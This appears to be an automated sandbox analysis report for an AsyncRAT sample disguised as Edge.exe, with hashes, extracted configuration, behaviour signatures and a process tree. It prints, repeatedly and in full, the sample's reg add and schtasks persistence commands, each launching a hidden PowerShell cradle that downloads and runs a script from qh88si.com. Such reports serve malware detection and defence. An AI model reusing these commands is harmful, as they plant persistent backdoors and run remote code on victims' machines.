Analysis
- max time kernel
14s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
30/10/2026, 08:36
Behavioral task
behavioral1
Sample
Edge.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
Edge.exe
Resource
win11ltsc2024-20260911-en
General
- Target Edge.exe
- Size 94KB
- Sample261030-khpp2sxvft
- SHA256 1818f2d969b18b9e5920f3f4a0b0c3ccdb26d31c4c317c68e4e04ff00529fea5
- MD5 9394cf84f9fec45b7fb7b3949b37a5a7
- SHA1 4d7620add5d7948bdaa6f4b15c0c68c6c57b0ae5
- SHA512 b4c9814d6b6c873af054e04e4b02269bba844ba671c06aba6e9829cad5b78cd5f86b926a58a781cfdac1b47ca260775f281c7018ecbefe31c3efe3a42cbe4ef8
- SSDEEP 1536:ljoK0CZM/fKkywSw+xUAH7J1/bx1zwiSgWoZB91Ues3blew5VJU1vIex:ljoK0CZM/fXywqxUAHl1/bx2rGbiew5I
- TLSH T12F93F8403BF94115F3BF9BBCADB1A2458975F9636912DA5D0CA410CE0632B80DE92F77
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
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ps1
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ps1.dropper
http://qh88si.com/load.ps1
Extracted
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asyncrat
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0.5.8
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HackerVN
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Za9GSyDgbxnM
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delay
3
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install
true
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install_file
Microsoft Edge.exe
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install_folder
%AppData%
Signatures
- Async RAT payload 1 IoCs
resource yara_rule behavioral2/files/0x0007000000016b3c-17.dat family_asyncrat - Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" reg.exe - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 6 2200 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2200 powershell.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" reg.exe - Executes dropped EXE 2 IoCs
pid Process 2188 Microsoft Edge.exe 4236 Microsoft Edge.exe - Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" reg.exe - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" reg.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 30 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4588 cmd.exe 1888 cmd.exe 5944 cmd.exe 5728 cmd.exe 5876 cmd.exe 3380 cmd.exe 5420 cmd.exe 4084 cmd.exe 4636 cmd.exe 400 cmd.exe 2044 cmd.exe 3424 cmd.exe 3324 cmd.exe 4080 cmd.exe 3332 cmd.exe 4748 cmd.exe 6032 cmd.exe 1904 cmd.exe 4816 cmd.exe 4580 cmd.exe 2988 cmd.exe 5260 cmd.exe 4764 cmd.exe 5992 cmd.exe 4032 cmd.exe 3320 cmd.exe 3464 cmd.exe 956 cmd.exe 5952 cmd.exe 3912 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain Edge.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname Edge.exe - System Location Discovery: System Language Discovery 1 TTPs 21 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Microsoft Edge.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Edge.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language timeout.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Microsoft Edge.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe - Delays execution with timeout.exe 1 IoCs
pid Process 1392 timeout.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Internet Explorer\Toolbar explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1" explorer.exe - Modifies registry class 13 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\NotificationData explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ explorer.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 9 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1608 schtasks.exe 2124 schtasks.exe 4244 schtasks.exe 5140 schtasks.exe 5212 schtasks.exe 4928 schtasks.exe 1104 schtasks.exe 1312 schtasks.exe 824 schtasks.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4864 explorer.exe - Suspicious behavior: EnumeratesProcesses 40 IoCs
pid Process 2200 powershell.exe 2200 powershell.exe 2200 powershell.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 4548 Edge.exe 2148 powershell.exe 2148 powershell.exe 2148 powershell.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2200 powershell.exe Token: SeDebugPrivilege 4548 Edge.exe Token: SeDebugPrivilege 2148 powershell.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4864 explorer.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4864 explorer.exe - Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 4548 wrote to memory of 4080 4548 Edge.exe 90 PID 4548 wrote to memory of 3332 4548 Edge.exe 92 PID 4548 wrote to memory of 4580 4548 Edge.exe 94 PID 4080 wrote to memory of 3912 4080 cmd.exe 141 PID 4548 wrote to memory of 1888 4548 Edge.exe 97 PID 3332 wrote to memory of 4364 3332 cmd.exe 99 PID 4548 wrote to memory of 2988 4548 Edge.exe 100 PID 4548 wrote to memory of 3464 4548 Edge.exe 102 PID 4580 wrote to memory of 4888 4580 cmd.exe 103 PID 2988 wrote to memory of 5368 2988 cmd.exe 146 PID 1888 wrote to memory of 3940 1888 cmd.exe 107 PID 4548 wrote to memory of 4084 4548 Edge.exe 106 PID 3464 wrote to memory of 824 3464 cmd.exe 109 PID 4084 wrote to memory of 5212 4084 cmd.exe 153 PID 4548 wrote to memory of 956 4548 Edge.exe 117 PID 4548 wrote to memory of 5944 4548 Edge.exe 119 PID 956 wrote to memory of 1608 956 cmd.exe 123 PID 5944 wrote to memory of 1392 5944 cmd.exe 124 PID 5944 wrote to memory of 4236 5944 cmd.exe 128 PID 2188 wrote to memory of 5952 2188 Microsoft Edge.exe 129
Processes
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C:\Users\Admin\AppData\Local\Temp\Edge.exe"C:\Users\Admin\AppData\Local\Temp\Edge.exe"1⤵
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4548 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4080 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f3⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
PID:3912
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3332 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f3⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
PID:4364
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4580 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f3⤵
- Event Triggered Execution: Image File Execution Options Injection
- System Location Discovery: System Language Discovery
PID:4888
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1888 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f3⤵
- Modifies WinLogon for persistence
- System Location Discovery: System Language Discovery
PID:3940
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2988 -
C:\Windows\SysWOW64\reg.exereg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f3⤵
- Registers new Windows logon scripts automatically executed at logon.
- System Location Discovery: System Language Discovery
PID:5368
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /sc onlogon /f2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3464 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /sc onlogon /f3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:824
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /sc minute /mo 5 /f2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4084 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /sc minute /mo 5 /f3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:5212
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Microsoft Edge" /tr '"C:\Users\Admin\AppData\Roaming\Microsoft Edge.exe"' & exit2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:956 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "Microsoft Edge" /tr '"C:\Users\Admin\AppData\Roaming\Microsoft Edge.exe"'3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:1608
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp38A5.tmp.bat""2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5944 -
C:\Windows\SysWOW64\timeout.exetimeout 33⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:1392
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C:\Users\Admin\AppData\Roaming\Microsoft Edge.exe"C:\Users\Admin\AppData\Roaming\Microsoft Edge.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4236 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f4⤵
- Executes a command shell one-liner
PID:5876 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f5⤵PID:6104
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f4⤵
- Executes a command shell one-liner
PID:4032 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:5212
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C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f5⤵PID:360
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f4⤵
- Executes a command shell one-liner
PID:4748 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f5⤵PID:1812
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f4⤵
- Executes a command shell one-liner
PID:2044 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f5⤵PID:4432
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f4⤵
- Executes a command shell one-liner
PID:3380 -
C:\Windows\SysWOW64\reg.exereg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f5⤵PID:4980
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /sc onlogon /f4⤵
- Executes a command shell one-liner
PID:1904 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /sc onlogon /f5⤵
- Scheduled Task/Job: Scheduled Task
PID:1104
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /sc minute /mo 5 /f4⤵
- Executes a command shell one-liner
PID:4764 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /sc minute /mo 5 /f5⤵
- Scheduled Task/Job: Scheduled Task
PID:4244
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')"1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2200
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C:\Windows\explorer.exeexplorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')"1⤵PID:6104
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C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4864
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:5972
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2148
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C:\Users\Admin\AppData\Roaming\Microsoft Edge.exe"C:\Users\Admin\AppData\Roaming\Microsoft Edge.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2188 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
PID:5952 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f3⤵PID:5332
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
PID:5992 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f3⤵PID:4832
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
PID:5728 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f3⤵PID:4884
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
PID:4636 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88si.com/load.ps1')\"" /f3⤵PID:5368
